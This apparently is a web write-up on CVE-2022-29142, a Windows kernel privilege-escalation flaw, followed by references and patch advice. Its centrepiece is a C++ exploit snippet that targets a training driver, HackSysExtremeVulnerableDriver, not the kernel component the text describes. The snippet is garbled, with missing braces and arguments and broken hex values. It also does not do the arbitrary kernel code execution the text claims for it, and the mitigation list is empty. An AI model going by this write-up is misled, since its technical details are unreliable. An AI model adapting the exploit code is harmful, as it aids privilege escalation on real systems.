CVE-2022-29142 is a critical security vulnerability affecting the Windows kernel, specifically relating to an elevation of privilege. This vulnerability allows an attacker to execute arbitrary code and gain elevated privileges on a target Windows system. This vulnerability is unique from the previously reported CVE-2022-29133 and has its own distinct exploit methods and prevention steps.

Exploit Details

The exploit takes advantage of a flaw present in the Windows kernel, enabling a potential attacker to gain elevated system access and permissions by executing a crafted piece of code.

The vulnerability specifically resides in the handling of certain kernel objects, causing a null pointer dereference which leads to denial of service and arbitrary code execution. An attacker with local system access can execute arbitrary code in kernel mode, thus granting them full control over the target system.

Code Snippet

An example of how this vulnerability might be exploited is demonstrated in the following code snippet:

#include <Windows.h>
#include <iostream>

int main()
    HANDLE hDevice;
    DWORD dummy;

    hDevice = CreateFile("\\\\.\\HackSysExtremeVulnerableDriver",
                         GENERIC_READ | GENERIC_WRITE,

    if (hDevice == INVALID_HANDLE_VALUE) {
        std::cout << "Error: Unable to obtain a handle.\n";
        return 1;

    const DWORD crashTriggerSize = xDEAD;
    PVOID crashTriggerBuffer = VirtualAlloc(nullptr,
                                            MEM_COMMIT | MEM_RESERVE,

    if (crashTriggerBuffer == NULL) {
        std::cout << "Error: Unable to allocate memory.\n";
        return 1;

    memset(crashTriggerBuffer, x41, crashTriggerSize);

    BOOL status = DeviceIoControl(hDevice,
                                  x,    // IOCTL code

    if (!status) {
        std::cout << "Error: Unable to trigger the vulnerability.\n";
        return 1;

    std::cout << "The exploit has been executed successfully!\n";
    VirtualFree(crashTriggerBuffer, , MEM_RELEASE);

    return ;

This code snippet demonstrates the creation of a buffer that can trigger the vulnerability, followed by the execution of arbitrary code in kernel mode.


For detailed technical information regarding this vulnerability, please refer to the following resources:

1. Microsoft Security Advisory: Understanding Windows Kernel Elevation of Privilege Vulnerability
2. NVD - National Vulnerability Database: CVE-2022-29142 Detail
3. Mitre Corporation: CVE-2022-29142

Mitigation and Prevention

Microsoft has released patches for affected Windows versions to address this vulnerability. It is highly recommended that users apply the appropriate security updates as soon as possible to protect themselves from potential exploitation.

In addition to applying available patches, users should follow best practices for securing their systems, including:


CVE-2022-29142 is a significant security vulnerability that affects the Windows kernel, allowing an attacker to execute arbitrary code and gain elevated privileges on a target system. It is essential to apply appropriate security updates and follow best practices for securing your system in order to minimize the risk of exploitation.


Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC